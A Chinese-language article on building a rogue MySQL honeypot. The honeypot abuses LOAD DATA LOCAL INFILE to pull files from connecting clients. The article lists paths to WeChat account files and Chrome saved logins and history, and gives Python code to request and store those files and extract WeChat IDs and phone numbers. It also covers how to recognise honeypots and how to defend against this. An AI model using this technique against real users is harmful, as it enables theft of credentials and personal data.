记对MYSQL蜜罐的溯源反制研究
字数 1196 2025-08-22 12:22:59
MySQL蜜罐溯源反制技术研究
一、MySQL蜜罐概述
MySQL蜜罐是一种通过模拟MySQL服务来诱捕攻击者的安全技术,主要用于:
- 检测针对MySQL数据库的攻击行为
- 收集攻击者信息用于溯源
- 反制攻击者获取其敏感信息
核心原理
利用MySQL的LOAD DATA LOCAL INFILE功能,当攻击者使用客户端工具(如Navicat)连接蜜罐时,蜜罐可诱导客户端读取并上传本地文件。
二、关键技术实现
1. LOAD DATA LOCAL INFILE机制
-- 检查功能状态
SHOW GLOBAL VARIABLES LIKE 'local_infile';
-- 开启功能(默认关闭)
SET GLOBAL local_infile=1;
-- 读取本地文件示例
LOAD DATA LOCAL INFILE 'c:/windows/win.ini' INTO TABLE test1 FIELDS TERMINATED BY '\n';
2. 攻击流程分析
- 客户端向服务端发起Load data local infile请求
- 服务端返回需要读取的文件路径
- 客户端读取文件内容并发送给服务端
3. 流量分析
使用Wireshark抓包分析MySQL协议:
- 过滤条件:
mysql或tcp.port == 3306 - 关键数据包:
- Greeting包:服务端版本等信息
- Request Query包:客户端请求
- Response TABULAR:服务端指定读取的文件路径
三、敏感信息获取技术
1. 微信信息获取
- 配置文件路径:
C:\Users\<用户名>\Documents\WeChat Files\All Users\config\config.data C:\Users\<用户名>\Documents\WeChat Files\<wxid>\config\AccInfo.dat - 包含信息:微信ID、网络名称、手机号、邮箱等
2. Chrome信息获取
- 登录数据:
C:/Users/<用户名>/AppData/Local/Google/Chrome/User Data/Default/Login Data - 历史记录:
C:/Users/<用户名>/AppData/Local/Google/Chrome/User Data/Default/History
3. 系统信息获取
- 用户名获取:
C:/Windows/PFRO.log - 系统配置文件:
C:/windows/win.ini C:/windows/system.ini
四、蜜罐实现代码分析
核心功能代码
def mysql_get_file_content(filename, conn, address):
logpath = os.path.abspath("log/" + address[0])
if not os.path.exists(logpath):
os.makedirs(logpath)
# 模拟MySQL握手过程
conn.sendall("xxx")
try:
conn.recv(1024000)
except Exception as e:
print(e)
# 构造文件读取请求
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
# 接收文件内容
content = ''
while True:
data = conn.recv(1024)
content += data
if len(data) < 1024:
break
# 保存文件
if len(content) > 6:
with open(logpath + "/" + filename.replace('/', '_'), "w") as f:
f.write(content)
return (True, content)
return (False, content)
信息提取与处理
# 微信ID提取
wxid = re.findall(r'WeChatFiles\\(.*)\\config', content)[0]
# 手机号提取
phone = re.findall(r'[0-9]{11}', content)[-1]
# 生成微信二维码
def make_qr(str, save):
qr = qrcode.QRCode(
version=4,
error_correction=qrcode.constants.ERROR_CORRECT_M,
box_size=10,
border=2,
)
qr.add_data(str)
qr.make(fit=True)
img = qr.make_image()
img.save(save)
qr_id = 'weixin://contacts/profile/' + wxid
make_qr(qr_id, 'demo.jpg')
五、蜜罐部署方法
1. 基础部署
- 准备Python环境(Python2)
- 下载蜜罐代码
- 启动服务:
python2 exp_dicc.py 3306
2. Docker部署
- 构建Docker镜像
- 运行容器并映射3306端口
- 配置Web管理界面(可选)
3. 增强配置
- 修改默认弱口令
- 设置诱饵数据库和表结构
- 配置日志存储和分析
六、蜜罐识别与防御
1. 蜜罐识别技术
协议特征识别
- ThreadID不变或增长缓慢
- Salt(盐)值固定不变
- 任意用户名密码均可登录
- 登录失败次数限制异常
环境特征识别
- 开放的端口与服务不匹配
- 系统版本信息异常
- 文件目录结构不自然
- 响应行为模式化
2. 防御措施
- 禁用危险功能:
SET GLOBAL local_infile=0; - 使用专用客户端工具,避免使用Navicat等通用工具
- 连接前检查目标服务器可信度
- 在沙箱环境中操作可疑数据库
七、高级应用与扩展
1. 多协议蜜罐开发
使用Twisted框架开发多协议蜜罐:
from twisted.web import server, resource
from twisted.internet import reactor, endpoints
class Simple(resource.Resource):
isLeaf = True
def render_GET(self, request):
return b"Hello, world!"
site = server.Site(Simple())
endpoint = endpoints.TCP4ServerEndpoint(reactor, 8080)
endpoint.listen(site)
reactor.run()
2. Go语言实现
package main
import (
"fmt"
"net"
)
func main() {
port := 8080
listener, err := net.Listen("tcp", fmt.Sprintf(":%d", port))
if err != nil {
panic(err)
}
defer listener.Close()
for {
conn, err := listener.Accept()
if err != nil {
fmt.Printf("Failed to accept connection: %s\n", err)
continue
}
go handleConnection(conn)
}
}
func handleConnection(conn net.Conn) {
remoteAddr := conn.RemoteAddr().String()
fmt.Printf("Connection from %s\n", remoteAddr)
buf := make([]byte, 1024)
n, err := conn.Read(buf)
if err != nil {
fmt.Printf("Failed to read data: %s\n", err)
return
}
fmt.Printf("Data: %s\n", string(buf[:n]))
conn.Close()
}
八、法律与伦理考量
- 仅在合法授权的网络环境中部署蜜罐
- 收集的信息仅用于安全防护目的
- 遵守当地隐私保护法律法规
- 明确告知用户可能的数据收集行为(如内部安全演练)
九、总结与最佳实践
攻击防护
- 定期审计数据库配置
- 限制数据库用户权限
- 启用访问日志记录
- 使用网络隔离策略
蜜罐运营
- 保持蜜罐真实性
- 定期更新诱饵数据
- 建立自动化分析流程
- 与其他安全系统联动
通过合理部署MySQL蜜罐,安全团队可以提前发现攻击行为,收集威胁情报,并有效反制攻击者,提升整体安全防护能力。